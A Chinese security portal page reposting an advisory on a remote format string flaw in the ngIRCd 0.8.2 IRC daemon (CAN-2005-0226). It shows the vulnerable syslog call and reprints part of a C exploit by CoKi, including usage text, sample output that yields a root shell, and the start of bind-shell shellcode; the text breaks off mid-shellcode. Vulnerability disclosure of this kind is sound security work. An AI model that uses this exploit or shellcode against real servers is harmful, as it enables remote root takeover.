 |
  |
|
| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | | ||||
 |
|
|||||||
|
||||||||
|
|||||
| ngIRCd远程格式串漏洞 | |||||
作者：未知 文章来源：http://www.nsfocus.net/ 点击数： 更新时间：2005-2-14  |
|||||
|
受影响系统： ngIRCD ngIRCD 0.8.2 ngIRCD ngIRCD 0.8.1 描述： -------------------------------------------------------------------------------- CVE(CAN) ID: CAN-2005-0226 ngIRCd是一款多平台上可使用的IRC守护程序。 ngIRCd中log.c的Log_Resolver()函数存在一个格式串问题，远程攻击者可以利用这个漏洞可能以守护进程权限在系统上执行任意指令。 问题存在于如下代码中： ----------- log.c ------------ 261: vsnprintf( msg, MAX_LOG_MSG_LEN, Format, ap ); 262: va_end( ap ); 263: 264: /* Output */ 265: if( NGIRCd_NoDaemon ) 266: { 267: /* Output to console */ 268: fprintf( stdout, "[%d:%d] %s\n", (INT)getpid( ), Level, msg ); 269: fflush( stdout ); 270: } 271: #ifdef SYSLOG 272: else syslog( Level, msg ); 273: #endif ----------- log.c ------------ 在272行中由于没有正确过滤格式串数据，可导致覆盖内存数据，并以ngIRCd进程权限执行任意指令，一般ngIRCd进程为ROOT权限。 要进行有效攻击,要求ngIRCD编译时选择了IDENT以及记录到SYSLOG并且打开DEBUG开关。 <*来源：Coki （coki@nosystem.com.ar） 链接：http://marc.theaimsgroup.com/?l=bugtraq&m=110746413108183&w=2 *> 测试方法： -------------------------------------------------------------------------------- 警 告 以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！ Coki （coki@nosystem.com.ar）提供了如下测试方法： /* ngircd_fsexp.c * * ngIRCd <= 0.8.2 remote format string exploit * * Note: * To obtain a successful exploitation, we need that * ngIRCd has been compiled with IDENT, logging to * SYSLOG and DEBUG enabled. * * Original Reference: * http://www.nosystem.com.ar/advisories/advisory-11.txt * * root@servidor:/home/coki/audit# ./ngircd_fsexp * * ngIRCd <= 0.8.2 remote format string exploit * by CoKi <coki@nosystem.com.ar> * * Use: ./ngircd_fsexp -h <host> [options] * * options: * -h <arg> host or IP * -p <arg> ircd port (by default 6667) * -t <arg> type of target system * -g <arg> syslog GOT address * -o <arg> offset (RET addr by default 0x0806b000) * -b brutefoce the RET address * (from 0x0806b000 + offset) * -l targets list * * root@servidor:/home/coki/audit# ./ngircd_fsexp -h victim -t 1 -o 10000 * * ngIRCd <= 0.8.2 remote format string exploit * by CoKi <coki@nosystem.com.ar> * * [*] host : victim * [*] system : Slackware Linux 10.0 * [*] ircd version : ngircd-0.8.2.tar.gz * [*] syslog GOT address : 0x08068094 * [*] verifying host : 10.0.0.2 * * [*] trying RET address : 0x0806d710 (offset 10000) * [*] building evil buffer : done! * [*] running fake ident server : 0.0.0.0:113 * * [*] connecting to ircd... : 10.0.0.2:6667 connected * [*] waiting for answer... : 10.0.0.1:43260 connected * [*] sending evil ident... : done! * [*] checking for shell... : done! * * [!] you have a shell :) * * Linux victim 2.4.26 #29 Mon Jun 14 19:22:30 PDT 2004 i686 unknown unknown GNU/Linux * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy) * * * by CoKi <coki@nosystem.com.ar> * No System Group - http://www.nosystem.com.ar */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <getopt.h> #include <netdb.h> #include <sys/types.h> #include <sys/fcntl.h> #include <netinet/in.h> #include <sys/socket.h> #define IDENTD 113 #define BUFFERSIZE 1024 #define ERROR -1 #define TIMEOUT 3 #define SHELL 5074 #define IRCD 6667 int connect_timeout(int sfd, struct sockaddr *serv_addr, socklen_t addrlen, int timeout); int check(unsigned long addr); void use(char *program); void printlist(void); void shell(char *host, int port); void exploit(char *host, int gotaddr, int retaddr, int ircdport); char shellcode[] = /* 92 bytes by s0t4ipv6 */ "\x31\xc0" // xorl %eax,%eax "\x50" // pushl %eax "\x40" // incl %eax "\x89\xc3" // movl %eax,%ebx "\x50" // pushl %eax "\x40" // incl %eax "\x50" // pushl %eax "\x89\xe1" // movl %esp,%ecx "\xb0\x66" // movb $0x66,%al "\xcd\x80" // int $0x80 "\x31\xd2" // xorl %edx,%edx "\x52" // pushl %edx "\x66\x68\x13\xd2" // pushw $0xd213 "\x43" // incl %ebx "\x66\x53" // pushw %bx "\x89\xe1" // movl %esp,%ecx "\x6a\x10" // pushl $0x10 "\x51" // pushl %ecx "\x50" |
|||||
| 文章录入：IceRiver 责任编辑：IceRiver | |||||
| 【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 | |||||
 网友评论：（只显示最新5条。评论内容只代表网友观点，与本站立场无关！） |
 |
|
| 关于我们 - 版权声明 - 帮助(？) - 广告服务 - 联系我们 - 友情链接 - 用户注册 - | Powered by ICE RIVER - STUDIO |
|
|
| » CnXHacker.CoM |  |
© CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved. |
